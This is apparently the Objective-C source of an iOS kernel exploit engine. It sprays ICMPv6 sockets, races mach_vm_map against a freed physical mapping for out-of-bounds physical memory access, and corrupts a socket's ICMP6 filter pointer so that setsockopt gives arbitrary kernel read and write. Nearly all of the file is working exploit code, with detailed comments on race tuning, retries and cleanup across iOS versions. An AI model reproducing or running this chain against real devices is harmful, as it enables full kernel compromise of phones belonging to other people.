#import <Foundation/Foundation.h>
#import <UIKit/UIKit.h>
#import <mach-o/dyld.h>
#import <mach/mach.h>
#import <sys/fileport.h>
#import <sys/socket.h>
#import <sys/sysctl.h>
#import <sys/utsname.h>
#import <unistd.h>
#import <stdbool.h>
#define IPPROTO_ICMPV6 58
#define ICMP6_FILTER 18
#import <IOSurface/IOSurfaceRef.h>
#import <pthread.h>
#import <sys/uio.h>
#import <sys/syscall.h>
#import <execinfo.h>
#include <stdlib.h>   /* atexit — PEV1-CLEANUP disarm on process exit */

#import "offsets.h"
#import "krw.h"
#import "kexploit_opa334.h"
#import "krw_zone_size.h"
#import "probe_restore_policy.h"
#import "kwrite_counter.h"
#import "machine_info.h"
#import "xpaci.h"
#import "klog.h"
#import "kutils.h"
#include <stdatomic.h>
// 1.3.0 (KexProof): TweakExploit.h (Filza HUD glue) is not ported; its one
// engine-side hook (tweak_exploit_set_cycle) is a no-op stub in klog.h.

extern bool gIsPACSupported;

void IOSurfacePrefetchPages(IOSurfaceRef surface);

#ifndef NDEBUG
// Debug FAILURE used to exit() the app — that made the exploit's failure
// look like a random crash on sideloaded builds (no crash report, app just
// vanishes ~40s in, exactly when the kernel-base scan exhausts its bound).
// Always return + log instead; runExploit retries and falls back gracefully.
#define FAILURE(c)                                                             \
    {                                                                          \
        fflush(stdout);                                                        \
        TweakLog("[FATAL] %s:%d — exploit failure (%d)", __FUNCTION__, __LINE__, (c)); \
        printf("[FATAL] %s:%d — exploit failure (%d)\n", __FUNCTION__, __LINE__, (c)); \
        return;                                                                \
    }
#define FAILURE_V(c, retval)                                                   \
    {                                                                          \
        fflush(stdout);                                                        \
        TweakLog("[FATAL] %s:%d — exploit failure (%d)", __FUNCTION__, __LINE__, (c)); \
        printf("[FATAL] %s:%d — exploit failure (%d)\n", __FUNCTION__, __LINE__, (c)); \
        return (retval);                                                       \
    }
#else
// Production: return instead of killing Filza. Callers handle error propagation.
// FAILURE is for void functions; FAILURE_V returns a value from non-void ones.
#define FAILURE(c)                                                             \
    do {                                                                       \
        TweakLog("[FATAL] %s:%d — exploit failure (%d)", __FUNCTION__, __LINE__, (c)); \
        printf("[FATAL] %s:%d — exploit failure (%d)\n", __FUNCTION__, __LINE__, (c)); \
        fflush(stdout);                                                        \
        return;                                                                \
    } while(0)
#define FAILURE_V(c, retval)                                                   \
    do {                                                                       \
        TweakLog("[FATAL] %s:%d — exploit failure (%d)", __FUNCTION__, __LINE__, (c)); \
        printf("[FATAL] %s:%d — exploit failure (%d)\n", __FUNCTION__, __LINE__, (c)); \
        fflush(stdout);                                                        \
        return (retval);                                                       \
    } while(0)
#endif
#define PRINT_VAR(var)                                                         \
    {                                                                          \
        KPRINTF("%s: 0x%llx\n", #var, (uint64_t)(var));                         \
        fflush(stdout);                                                        \
    }

// Debug-only printf — silenced in production to avoid leaking kernel addresses.
// All kernel addresses, ASLR slide, and PCB pointers MUST use this or be guarded.
#ifdef DEBUG
#define KDPRINT(fmt, ...) printf(fmt, ##__VA_ARGS__)
#else
#define KDPRINT(fmt, ...) do {} while(0)
#endif

#define OOB_OFFSET 0x100
#define OOB_SIZE 0xf00
#define OOB_PAGES_NUM 2

// xnu-11417.140.69/bsd/sys/proc_info.h
#define PROC_PIDFILEPORTSOCKETINFO      3       /* out: socket_fdinfo */

// xnu-11417.140.69/bsd/sys/proc_info_private.h
#define PROC_INFO_CALL_PIDFILEPORTINFO       0x6

#ifdef __arm64e__
// __xpaci + xpaci come from xpaci.h (imported above); no local definition.
#else
#define __xpaci(x) x
#endif

void memset64(void *ptr, uint64_t val, size_t size) {
    uint8_t *ptr8 = ptr;
    for (uint64_t idx = 0; idx < size; idx += sizeof(uint64_t)) {
        uint64_t *ptr64 = (uint64_t *)&ptr8[idx];
        *ptr64 = val;
    }
}

static int readFd;
static int writeFd;
kern_return_t mach_vm_map(vm_map_t target_task, mach_vm_address_t *address,
                          mach_vm_size_t size, mach_vm_offset_t mask, int flags,
                          mem_entry_name_port_t object,
                          memory_object_offset_t offset, boolean_t copy,
                          vm_prot_t cur_protection, vm_prot_t max_protection,
                          vm_inherit_t inheritance);
kern_return_t mach_vm_allocate(vm_map_t target, mach_vm_address_t *address,
                               mach_vm_size_t size, int flags);
kern_return_t mach_vm_deallocate(vm_map_t target, mach_vm_address_t address,
                                 mach_vm_size_t size);

static int highestSuccessIdx = 0;
static int successReadCount = 0;
static struct iovec iov;
static uint64_t randomMarker;
static uint64_t wiredPageMarker;
static mach_port_t pcObject = MACH_PORT_NULL;
static mach_vm_address_t pcAddress = 0;
static mach_vm_size_t pcSize;

static NSMutableArray<NSNumber *> *socketPorts;
static NSMutableArray<NSNumber *> *socketPcbIds;
int wolf_test_mode = 0;   // 0/3=full, 1=readonly, 2=writetest (see header)

// Scan telemetry published for the HUD status line (atomics so the UI
// thread can read them while the exploit thread runs the walk).
static _Atomic uint64_t g_scan_off = 0;
static _Atomic unsigned long g_scan_socks = 0;
static _Atomic int g_scan_landed = 0;
uint64_t kexploit_scan_offset(void) {
    return atomic_load_explicit(&g_scan_off, __ATOMIC_RELAXED);
}
unsigned long kexploit_scan_sockets(void) {
    return atomic_load_explicit(&g_scan_socks, __ATOMIC_RELAXED);
}
int kexploit_scan_landed(void) {
    return atomic_load_explicit(&g_scan_landed, __ATOMIC_RELAXED);
}
void kexploit_telemetry_reset(void) {
    atomic_store_explicit(&g_scan_off, 0, __ATOMIC_RELAXED);
    atomic_store_explicit(&g_scan_socks, 0, __ATOMIC_RELAXED);
    atomic_store_explicit(&g_scan_landed, 0, __ATOMIC_RELAXED);
    // BUG.5: "readonly performs no kernel writes" is a measurement now, not a
    // claim - the counter starts at zero with the rest of the telemetry.
    kwrite_count_reset();
}
// BUG.5 (2026-09-11 device day). The readonly row used to assert "zero kernel
// writes" as prose; nothing counted the writes, so nothing could contradict it.
// kexploit/kwrite_counter.c counts every write the chain issues (every one goes
// out through early_kwrite32bytes, and the clamped block writer funnels into it
// too), so these getters are the measured answer - a readonly run reports 0
// because 0 were counted, not because the code says so.
uint64_t kexploit_scan_writes(void) {
    return kwrite_count_total();
}
uint64_t kexploit_scan_write_bytes(void) {
    return kwrite_count_bytes();
}
uint64_t kexploit_scan_write_failures(void) {
    return kwrite_count_failed_total();
}
// Write-test restore state (mode 2): the ORIGINAL icmp6filt pointer and its
// neighbor qword, saved from the OOB read BEFORE the corruption write.
static uint64_t g_test_filt_offset = 0;
static uint64_t g_test_filt_orig = 0;
static uint64_t g_test_filt8_orig = 0;
static uint64_t g_test_kernel_phys = 0;   // mode-1 magic-scan hit
static mach_port_t g_test_mo = MACH_PORT_NULL;   // write-test OOB verify context
static mach_vm_offset_t g_test_seek = 0;
static uint64_t g_test_pcb_off = 0;
// PEV1-CLEANUP: the inpcb gencnt of the socket we corrupted, so a late restore
// can refuse to write into a window that has already moved (the same fingerprint
// the alias write re-checks before it strikes).
static uint64_t g_test_target_gencnt = 0;
static uint64_t g_test_gencnt_offset = 0;
// BUG.1 restore bookkeeping. `g_probe_saved` becomes true exactly where the
// ORIGINAL icmp6filt pointer + neighbor qword are read out of the OOB buffer —
// the only place from which a restore is meaningful. The restore helper refuses
// to write anything while it is false, so the mode-1 readonly path and every
// pre-corruption exit (the per-page "not our PCB" walk returns) leave the
// kernel untouched.
static bool g_probe_saved = false;
static int g_probe_control_idx = -1;   // socketPorts index whose inpcb we corrupted
// 1.4.2: one promotion per process, ever. A second pe_v1 runs on a heap that
// krw_sockets_leak_forever deliberately left corrupted. Declared here (not
// beside kexploit_opa334) so kexploit_disarm_for_close can see it.
static int g_promotion_done = 0;
// BUG.1 step 1 (unconditional restore), same day: which corruption the fds in
// controlSocket / rwSocket belong to. `g_probe_save_gen` is bumped at the ONE
// save site (the read that makes a restore meaningful), and the fds are stamped
// with the generation they were opened for. The restore may only fall back to
// those fds when the stamp still matches the corruption it is putting back -
// "the globals are non-zero" is NOT enough, because a page that exits before its
// own open_probe_socket_fds() leaves the PREVIOUS page's pair there, and a
// restore through that pair would write into a socket whose corruption is
// already undone while the freshly corrupted inpcb stayed live (the BUG.1
// class). The pair is never closed after a promotion, which is what makes it
// usable after pe_v1's release funnel emptied the spray tracking array.
static uint64_t g_probe_save_gen = 0;
static uint64_t g_probe_fds_gen = 0;
static int g_probe_fds_idx = -1;
// 1.3.4: the rw inpcb's exact spray index, found by list geometry inside the
// window (find_and_corrupt_socket) — the old "+1 in the spray" guess read a
// stranger socket's virgin all-ones filter on T8122/18.6. -1 = no hint.
static int g_probe_rw_idx_hint = -1;
// 1.3.8: fdinfo's soi_pcb (+0xA0) names each port's inpcb directly — the
// control socket's pcb, used by the round trip instead of list arithmetic.
static uint64_t g_probe_control_pcb = 0;
// (BUG.1 step 2) GETSOCKOPT_READ_LEN / getsockoptReadData are gone: they only
// existed for the promotion-time getsockopt(controlSocket, ICMP6_FILTER) read —
// the 32-byte read the kernel performed THROUGH the freshly-written filt
// pointer. The promotion verdict is now the inp6_chksum round trip below, which
// needs no extra buffer.

static volatile uint8_t goSync = 0;
static volatile uint8_t raceSync = 0;
volatile uint8_t freeThreadStart = 0;
volatile mach_vm_address_t freeTarget = 0;
volatile mach_vm_size_t freeTargetSize = 0;
// Systematic-failure detector: if mach_vm_map keeps returning the SAME
// error every attempt, the technique is rejected by this iOS build (e.g.
// kr=4 KERN_INVALID_ARGUMENT on 17.1) — retrying can never win, it just
// spins the CPU and floods the log. Latch the race as broken so the main
// loop gives up fast.
static _Atomic int g_raceBroken = 0;
static _Atomic int g_raceConsecFail = 0;
static _Atomic int g_raceLastKr = -1;

// Scan/spray guards (added 2026-09-11 after the SE 18.4.1/A13 run) -----------------
// That run pegged a core at 99% for 90 s and blew the kernel's wakeup budget
// (45,001 wakes over ~157 s = 285/s against a 45,000/300 s limit), so iOS
// resource-killed the app mid-scan and the phone hung rather than rebooting.
// The socket spray also ran into the system-wide file limit (errno 23 ENFILE at
// ~27,257 sockets) and kept trying to open more. Both loops now stop cleanly:
//   * the spray gives up once the kernel says the file table is full,
//   * the scan honours a wall-clock budget and a stop flag the host app can set.
static _Atomic int g_stopRequested = 0;
static _Atomic int g_sprayExhausted = 0;
static _Atomic int g_sprayTotal = 0;
static _Atomic int g_enfileStreak = 0;   // consecutive ENFILE/EMFILE answers
static time_t g_exploitStart = 0;
// (the old hard-coded `#define EXPLOIT_SCAN_BUDGET_SEC 120` lived here; the
// runtime-settable budget below replaced it - BUG.3)

// BUG.3 (2026-09-11 device day): the 120 s budget is shorter than a full walk
// on the SE/A13 - the 19:10 run stopped at offset 0x1cc4000 of the mapping
// after exactly 120 s (roughly a quarter), so a full pass needs on the order of
// 8.5 minutes and every budget run ended "cancelled". The budget is therefore
// runtime-settable (kexploit_set_scan_budget), and the DEFAULT is now 600 s:
// the measured walk fits inside it with margin, so an untouched run can finish
// the walk instead of stopping a quarter of the way in. The value is clamped to
// [KEXPLOIT_SCAN_BUDGET_MIN, KEXPLOIT_SCAN_BUDGET_MAX] and read with a relaxed
// atomic load by all three scan loops (the host app may set it from another
// thread). Note that a longer run sits deeper in the CPU / wakeup / disk-write
// budgets (SG.10) - that is what the run's resource reports are for.
#define EXPLOIT_SCAN_BUDGET_SEC 600
static _Atomic int g_scanBudgetSec = EXPLOIT_SCAN_BUDGET_SEC;
#define SCAN_BUDGET_SEC() ((int)atomic_load_explicit(&g_scanBudgetSec, __ATOMIC_RELAXED))

void kexploit_set_scan_budget(int seconds) {
    if (seconds < KEXPLOIT_SCAN_BUDGET_MIN) seconds = KEXPLOIT_SCAN_BUDGET_MIN;
    if (seconds > KEXPLOIT_SCAN_BUDGET_MAX) seconds = KEXPLOIT_SCAN_BUDGET_MAX;
    atomic_store_explicit(&g_scanBudgetSec, seconds, __ATOMIC_RELAXED);
}
int kexploit_scan_budget(void) { return SCAN_BUDGET_SEC(); }

// Called by W0lfTerm's CANCEL (and `cancel` in the terminal) to end a run that
// is spinning: the loops below check this and return a normal "no read" result,
// which the caller treats as a failed attempt instead of retrying forever.
void kexploit_request_stop(void) { atomic_store(&g_stopRequested, 1); }
int kexploit_stop_requested(void) { return atomic_load(&g_stopRequested); }
// Cleared by the host app when the USER starts a run - never by the engine, or
// the app's retry loop would re-arm a cancelled run.
void kexploit_clear_stop(void) { atomic_store(&g_stopRequested, 0); }
long long kexploit_spray_total(void) { return (long long)atomic_load(&g_sprayTotal); }
volatile mem_entry_name_port_t targetObject = 0;
volatile memory_object_offset_t targetObjectOffset = 0;

NSMutableDictionary<NSNumber *, id> *gMlockDict;

int controlSocket = 0;
int rwSocket = 0;
uint64_t controlSocketPcb = 0;
uint64_t rwSocketPcb = 0;
uint8_t controlData[EARLY_KRW_LENGTH];
static pthread_mutex_t g_krw_lock = PTHREAD_MUTEX_INITIALIZER;

void setTargetKaddr(uint64_t where) {
    memset(controlData, 0, EARLY_KRW_LENGTH);
    *(uint64_t *)controlData = where;
    int res = setsockopt(controlSocket, IPPROTO_ICMPV6, ICMP6_FILTER,
                         controlData, EARLY_KRW_LENGTH);
    if (res != 0) {
        printf("[-] setsockopt failed!!!\n");
        FAILURE(0);
    }
}

#define TARGET_FILE_SIZE (PAGE_SIZE * 0x2)
void *default_file_content;
char executablePath[PATH_MAX];
const char *executableName;

pthread_t freeThread;

// BUG.2 (0.12 audit round 3): the free thread used to be created once per
// ATTEMPT (pe_init runs on every kexploit_opa334 call; TweakExploit retries up
// to 5x and the HUD RERUN resets the counter) while the previous one was never
// stopped. Two costs, both on the axes this bug is about: a second thread
// racing the SAME FIXED|OVERWRITE map breaks the race's window semantics, and a
// thread left spinning in `while (raceSync == 0);` is a hot spin with no yield
// (CPU axis, SG.10). `g_freeThreadLive` is true between the create and the
// join, so pe_init reuses a live thread instead of starting a second one.
// `g_freeThreadStop` is what lets the teardown join SAFELY: it also breaks the
// thread's FIRST wait (for goSync == 0), which is where it would sit forever if
// the attempt returned before initialize_physical_read_write ever set goSync -
// the pe_v1 OOB-calloc failure exit does exactly that, and a pthread_join on
// that thread would hang the exploit thread for good.
static bool g_freeThreadLive = false;
static volatile uint8_t g_freeThreadStop = 0;

// BUG.2 (0.12 audit round 3): forward declarations for the release helpers whose
// definitions sit with the other release funnels further down, but whose first
// caller is init_globals() right below. sockets_release() is declared with its
// real (non-static) linkage, exactly as it is defined.
void sockets_release(NSMutableArray *socketPorts, NSMutableArray *socketPcbIds);
static void tracker_arrays_release(void);
static void tracker_arrays_reset(void);
static void release_gencnt_tracker(NSMutableArray *list, const char *who);

void init_globals(void) {
    // BUG.2 (0.12 audit round 3): this runs once per ATTEMPT and used to
    // overwrite the spray-tracking arrays, leaking the previous attempt's pair
    // (empty by then, but owned). tracker_arrays_reset() releases the old pair
    // first (and any port still held - see its comment), then creates fresh ones.
    tracker_arrays_reset();
    gMlockDict = [NSMutableDictionary new];
    default_file_content = calloc(1, TARGET_FILE_SIZE);
    if (!default_file_content) { printf("[-] calloc failed for default_file_content\n"); FAILURE(0); }
    randomMarker = (uint64_t)arc4random() << 32 | arc4random();
    wiredPageMarker = (uint64_t)arc4random() << 32 | arc4random();
}

// A6.13: destroy every spray-socket fileport so a failed exploit doesn't pin
// thousands of inpcbs in the kernel until process death. Call on FINAL
// give-up paths ONLY — retries need the sockets alive. The corrupted
// rw/control sockets are intentionally NOT closed here (the kernel tears
// them down with the process; closing a corrupted inpcb mid-flight is the
// one teardown path we don't exercise by hand).
void release_spray(void) {
    unsigned long n = (unsigned long)socketPorts.count;
    for (NSNumber *portNum in socketPorts) {
        mach_port_t p = (mach_port_t)portNum.unsignedIntValue;
        if (p != MACH_PORT_NULL) {
            mach_port_destroy(mach_task_self(), p);
        }
    }
    [socketPorts removeAllObjects];
    [socketPcbIds removeAllObjects];
    KPRINTF("[i] spray released (%lu sockets destroyed)\n", n);
}

void create_target_file(const char *path) {
    FILE *f = fopen(path, "w");
    fwrite(default_file_content, 1, TARGET_FILE_SIZE, f);
    fclose(f);
}

void init_target_file() {
    char *read_file_path = calloc(1, 1024);
    char *write_file_path = calloc(1, 1024);
    if (!read_file_path || !write_file_path) {  // A3.20: calloc can fail
        printf("[-] calloc failed in init_target_file\n");
        FAILURE(0);
    }
    // confstr returns 0 on failure (leaving the buffer empty) and truncates at
    // the buffer size, so validate it instead of strcat'ing onto whatever is
    // there: an empty path would create the target file relative to the cwd,
    // and a truncated one would overflow the 1024-byte heap buffer.
    size_t readDirLen = confstr(_CS_DARWIN_USER_TEMP_DIR, read_file_path, 1024);
    size_t writeDirLen = confstr(_CS_DARWIN_USER_TEMP_DIR, write_file_path, 1024);
    if (readDirLen == 0 || writeDirLen == 0 || readDirLen > 1000 || writeDirLen > 1000) {
        printf("[-] confstr(_CS_DARWIN_USER_TEMP_DIR) unusable (%zu/%zu)\n", readDirLen, writeDirLen);
        FAILURE(0);
    }

    // Append "/<random>" after the terminating NUL confstr wrote (len includes
    // it), with an explicit size bound instead of strcat.
    snprintf(read_file_path + readDirLen - 1, 1024 - (readDirLen - 1), "/%u", arc4random());
    snprintf(write_file_path + writeDirLen - 1, 1024 - (writeDirLen - 1), "/%u", arc4random());

    create_target_file(read_file_path);
    create_target_file(write_file_path);

    readFd = open(read_file_path, O_RDWR);
    writeFd = open(write_file_path, O_RDWR);

    printf("[+] readFd: %d\n", readFd);
    printf("[+] writeFd: %d\n", writeFd);

    remove(read_file_path);
    remove(write_file_path);
    fcntl(readFd, F_NOCACHE, 1);
    fcntl(writeFd, F_NOCACHE, 1);
}

void *free_thread(void *arg) {
    // 1.7.0: bare spins everywhere (ClearSword free_thread.c) — a yield hands
    // the core to any runnable thread during the spray, so the window answer
    // lands a slice late and the race window shifts/closes. Teardown is
    // unaffected: stop=1 + raceSync=1 releases every wait below.
    while (__atomic_load_n(&freeThreadStart, __ATOMIC_ACQUIRE) == 0 &&
           __atomic_load_n(&g_freeThreadStop, __ATOMIC_ACQUIRE) == 0)
        ;

    // BUG.2 (0.12 audit round 3): both waits below also leave on the teardown
    // flag so kexploit_attempt_teardown()'s pthread_join() cannot block on a
    // thread that is either (a) still waiting for its first goSync = 1 or (b)
    // spinning on raceSync. Without (a), a join after an early return - e.g. the
    // pe_v1 OOB-calloc failure, which returns before
    // initialize_physical_read_write sets goSync - would hang.
    while (__atomic_load_n(&goSync, __ATOMIC_ACQUIRE) == 0 &&
           __atomic_load_n(&g_freeThreadStop, __ATOMIC_ACQUIRE) == 0)
        ;

    while (__atomic_load_n(&goSync, __ATOMIC_ACQUIRE) != 0 &&
           __atomic_load_n(&g_freeThreadStop, __ATOMIC_ACQUIRE) == 0) {
        while (__atomic_load_n(&raceSync, __ATOMIC_ACQUIRE) == 0 &&
               __atomic_load_n(&g_freeThreadStop, __ATOMIC_ACQUIRE) == 0)
            ;

        // Stopped while waiting for a window: leave WITHOUT mapping. The
        // teardown has already ended this attempt's reads, and a map here would
        // touch the OOB mapping after the caller has moved on (the next attempt
        // releases that mapping in release_physical_mapping()).
        if (__atomic_load_n(&g_freeThreadStop, __ATOMIC_ACQUIRE) != 0) break;

        // A3.13: mach_vm_map writes the result through the address pointer —
        // use a local (the kernel can't write into an _Atomic/volatile object
        // cleanly), then publish the result back with an atomic store.
        mach_vm_address_t ft = __atomic_load_n(&freeTarget, __ATOMIC_RELAXED);
        mach_vm_size_t ftsz = __atomic_load_n(&freeTargetSize, __ATOMIC_RELAXED);
        kern_return_t kr =
            mach_vm_map(mach_task_self(), &ft,
                        ftsz, 0,
                        VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
                        __atomic_load_n(&targetObject, __ATOMIC_RELAXED),
                        __atomic_load_n(&targetObjectOffset, __ATOMIC_RELAXED),
                        0, VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_NONE);
        __atomic_store_n(&freeTarget, ft, __ATOMIC_RELAXED);

        // kr != 0 here is a WINDOW MISS, not a verdict: FIXED|OVERWRITE only
        // lands when the target's free window is open, so a miss is normal
        // and the next window may still win (18.4.1 wins on attempt 1; 26.0.1
        // lands reads at try 47/93). NEVER deallocate the target to "recover":
        // deallocating pcAddress tears down the physical-contiguity mapping the
        // entire OOB read/write primitive depends on, turning ONE transient
        // miss into a permanent state where every later map fails kr=4
        // (2026-09-01 iPhone 14 / 26.0.1: reads landed, then a single kr=4 +
        // destructive dealloc latched "race rejected" — FilzaJailedDS upstream
        // wins on the same device because it just continues on a miss).
        if (kr != KERN_SUCCESS) {
            // The race window is inherently lossy: the free may not have
            // landed when we map. Dying here kills the race thread and
            // deadlocks the main loop (it waits on raceSync forever) —
            // which looked like a random crash + hang on device.
            // BUT the SAME error on every single attempt means the
            // technique is rejected (iOS 17.1: kr=4 = KERN_INVALID_ARGUMENT
            // on the memory-object map). Log the first few, then latch the
            // race as broken so the exploit fails fast instead of spinning
            // ~1800 maps/sec and flooding the log.
            int lk = atomic_load_explicit(&g_raceLastKr, __ATOMIC_RELAXED);
            if (lk == kr) {
                int cf = atomic_fetch_add(&g_raceConsecFail, 1) + 1;
                if (cf <= 5) {
                    KPRINTF("[-] free_thread mach_vm_map failed (%d) #%d — window missed, continuing\n", kr, cf);
                } else if (cf == 10000) {
                    // 1.7.0: threshold raised 100 -> 10000. On this device a
                    // hundred identical kr values can be pure VM-pressure
                    // churn (spray + mlock on 18.6); latching the attempt as
                    // broken threw away winnable races. A genuine rejection
                    // (iOS 17.1 kr=4 on every map) still trips, just later.
                    atomic_store_explicit(&g_raceBroken, 1, __ATOMIC_RELAXED);
                    KPRINTF("[race] mach_vm_map keeps failing with kr=%d every attempt (object=%#x offset=%#llx) — technique rejected on this iOS, race cannot win\n",
                            kr,
                            __atomic_load_n(&targetObject, __ATOMIC_RELAXED),
                            __atomic_load_n(&targetObjectOffset, __ATOMIC_RELAXED));
                } else if ((cf % 1000) == 0) {
                    KPRINTF("[-] free_thread mach_vm_map failed (%d) #%d — window missed, continuing\n", kr, cf);
                }
            } else {
                atomic_store_explicit(&g_raceLastKr, kr, __ATOMIC_RELAXED);
                atomic_store_explicit(&g_raceConsecFail, 1, __ATOMIC_RELAXED);
                KPRINTF("[-] free_thread mach_vm_map failed (%d) #1 — window missed, continuing\n", kr);
            }
            __atomic_store_n(&raceSync, 0, __ATOMIC_RELEASE);
            continue;
        }

        // Map succeeded — the race is alive. Reset the miss counter so an
        // occasional kr=4 window-miss (normal lossy race) can never add up
        // to a false "technique rejected" latch while reads are landing.
        atomic_store_explicit(&g_raceConsecFail, 0, __ATOMIC_RELAXED);
        atomic_store_explicit(&g_raceLastKr, -1, __ATOMIC_RELAXED);
        __atomic_store_n(&raceSync, 0, __ATOMIC_RELEASE);
    }

    return NULL;
}

fileport_t spray_socket(NSMutableArray *socketPorts,
                        NSMutableArray *socketPcbIds) {
    // 1.7.0: no QoS flips per socket (upstream never touches it) — two
    // set_qos syscalls × ~22.5k sockets per cycle was ~45k wasted syscalls
    // poking the scheduler mid-spray.

    // Once the system file table is full every further socket() is a wasted
    // syscall; the spray callers ask repeatedly during the scan.
    if (atomic_load_explicit(&g_sprayExhausted, __ATOMIC_RELAXED)) {
        return MACH_PORT_NULL;
    }
    
    int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_ICMPV6);
    if (fd == -1) {
        // KPRINTF not printf: the failure reason must reach the syslog —
        // plain printf is invisible on device (2026-09-01: 18.4.1 spray
        // failed silently, 0 sockets, no diagnostics anywhere).
        KPRINTF("[-] spray_socket: socket() failed errno=%d (%s)\n", errno, strerror(errno));
        if (errno == ENFILE || errno == EMFILE) {
            // System-wide (or per-process) file table exhausted — the SE run
            // showed this at ~27,257 sockets with the spray still asking for
            // 1024 more each round. Log at the first and at the cut-off, then
            // stop spraying for the rest of the attempt. The streak lives at
            // file scope so kexploit_opa334() can reset it per attempt (a
            // function-local static kept the counter from a previous run, which
            // disabled the spray instantly on the next attempt).
            int n = atomic_fetch_add(&g_enfileStreak, 1) + 1;
            if (n == 1 || n == 8) {
                KPRINTF("[spray] file table full (errno=%d %s) with %d sockets held — %s\n",
                        errno, strerror(errno), (int)atomic_load(&g_sprayTotal),
                        (n >= 8) ? "stopping the spray" : "continuing briefly");
            }
            if (n >= 8) atomic_store(&g_sprayExhausted, 1);
        }
        return MACH_PORT_NULL;
    }

    fileport_t outputSocketPort = 0;
    int ret = fileport_makeport(fd, &outputSocketPort);
    close(fd);
    if (ret != 0) {
        KPRINTF("[-] spray_socket: fileport_makeport failed: %d\n", ret);
        return MACH_PORT_NULL;
    }

    void *socketInfo = calloc(1, 0x400);
    int r = syscall(SYS_proc_info, PROC_INFO_CALL_PIDFILEPORTINFO, getpid(), PROC_PIDFILEPORTSOCKETINFO, outputSocketPort, socketInfo, 0x400);
    // proc_info returns the BYTE COUNT written (792 = sizeof(socket_fdinfo))
    // on success — the old `r != 0` check rejected every success and the
    // spray produced 0 sockets on every run since 023a81e (2026-09-01: seen
    // as "proc_info failed: 792" on 18.4.1; 17.1 silent — printf was never
    // routed to a visible sink). Success = r >= 0, failure = -1.
    if (r < 0) {
        KPRINTF("[-] spray_socket: proc_info failed: %d (errno=%d %s)\n", r, errno, strerror(errno));
        free(socketInfo);
        mach_port_deallocate(mach_task_self(), outputSocketPort);
        return MACH_PORT_NULL;
    }
    uint64_t inp_gencnt = *(uint64_t *)((uintptr_t)socketInfo + 0x110);
    free(socketInfo);
    atomic_fetch_add(&g_sprayTotal, 1);
    [socketPorts addObject:@(outputSocketPort)];
    [socketPcbIds addObject:@(inp_gencnt)];
    return outputSocketPort;
}

void sockets_release(NSMutableArray *socketPorts,
                     NSMutableArray *socketPcbIds) {
    // BUG.2 audit (0.12): the arrays ARE the record of what is still held, so
    // this is idempotent by construction - "released exactly once" is structural
    // here, not a call-site habit (the arrays are emptied, a second call is a
    // no-op). One log line per actual release so a device log shows the spray
    // going away and how much of it there was.
    unsigned long releaseCount = (unsigned long)socketPorts.count;
    while (socketPorts.lastObject) {
        mach_port_deallocate(
            mach_task_self(),
            ((NSNumber *)socketPorts.lastObject).unsignedIntValue);
        [socketPorts removeLastObject];
        [socketPcbIds removeLastObject];
    }
    if (releaseCount) {
        KPRINTF("[cleanup] sockets_release: %lu sprayed socket fileports released\n",
                releaseCount);
    }
}

// ---------------------------------------------------------------------------
// BUG.2 (0.12 audit round 3): the two spray-tracking ARRAYS and the per-call
// gencnt tracker are OWNED objects in this file (the engine is built without
// -fobjc-arc, see scripts/build_libengine.sh) that were never released. They hold
// one NSNumber per sprayed fileport / per matched page, so the socket pair is
// the largest MRC allocation in the attempt (~22.5k entries each) and it was
// re-created per cycle (pe_v1), per mapping (pe_v2) and per attempt
// (init_globals) while every previous pair stayed alive for the whole process -
// i.e. the leak grew exactly with the memory pressure this bug is about.
//
// tracker_arrays_release() is idempotent the same way sockets_release() is: the
// array IS the record, and it is emptied before being released. It also calls
// sockets_release() first, so a port that the caller's funnel somehow did not
// release cannot turn into a fileport leak here.
// ---------------------------------------------------------------------------
static void tracker_arrays_release(void) {
    sockets_release(socketPorts, socketPcbIds);   // no-op unless ports are held
    KPRINTF("[cleanup] spray tracking arrays released (%lu/%lu entries left, BUG.2)\n",
            (unsigned long)socketPorts.count, (unsigned long)socketPcbIds.count);
    // 1.3.0 (ARC): dropping the last strong ref releases the array
    socketPorts = nil;
    socketPcbIds = nil;
}

// Release-then-create, for the sites that re-create the pair (init_globals, the
// top of every pe_v1 cycle, the top of every pe_v2 search-mapping iteration).
static void tracker_arrays_reset(void) {
    tracker_arrays_release();
    socketPorts = [NSMutableArray new];
    socketPcbIds = [NSMutableArray new];
}

// The per-call gencnt tracker (which pages this attempt already matched). It is
// reused across pe_v1's spray/race cycles on purpose - find_and_corrupt_socket()
// uses it to reject a page it already corrupted - so it is released only at the
// function's terminal exits, never on a cycle that loops back.
static void release_gencnt_tracker(NSMutableArray *list, const char *who) {
    KPRINTF("[cleanup] %s: gencnt tracker released (%lu entries, BUG.2)\n",
            who, (unsigned long)list.count);
    // 1.3.0 (ARC): the caller's scope end releases it — no explicit release
    (void)list;
}

// BUG.2 (0.12 audit round 3): release the OOB physical mapping and its port
// right. initialize_physical_read_write() runs once per ATTEMPT and used to
// overwrite pcObject/pcAddress with the new pair, orphaning the previous
// mapping (OOB_PAGES_NUM pages) AND the port right for the life of the process
// - which is exactly the "cancel path leaked a mapping" class SG.10 measured.
// Idempotent: the globals are the record and are cleared as they are released.
static void release_physical_mapping(void) {
    if (pcObject != MACH_PORT_NULL) {
        kern_return_t kr = mach_port_deallocate(mach_task_self(), pcObject);
        KPRINTF("[cleanup] physical mapping: memory object %#x released (kr=%d, BUG.2)\n",
                pcObject, kr);
        pcObject = MACH_PORT_NULL;
    }
    if (pcAddress) {
        kern_return_t kr = mach_vm_deallocate(mach_task_self(), pcAddress, pcSize);
        KPRINTF("[cleanup] physical mapping %#llx deallocated (%llu bytes, kr=%d, BUG.2)\n",
                pcAddress, (unsigned long long)pcSize, kr);
        pcAddress = 0;
    }
}

IOSurfaceRef create_surface_with_address(uint64_t address, uint64_t size) {
    IOSurfaceRef surface = IOSurfaceCreate((__bridge CFDictionaryRef) @{
        @"IOSurfaceAddress" : @(address),
        @"IOSurfaceAllocSize" : @(size)
    });

    IOSurfacePrefetchPages(surface);

    return surface;
}

void surface_mlock(uint64_t address, uint64_t size) {
    gMlockDict[@(address)] =
        (__bridge id)create_surface_with_address(address, size);
}

void surface_munlock(uint64_t address, uint64_t size) {
    IOSurfaceRef ref = (__bridge IOSurfaceRef)gMlockDict[@(address)];
    if (ref) {
        CFRelease(ref);
        [gMlockDict removeObjectForKey:@(address)];
    }
}

// A3.5: release every still-tracked wired page (IOSurface munlock + VM
// deallocate). Used on ALL pe_v2 exit paths so an error return can't leak
// mlock'd pages (which pin physical memory until process death).
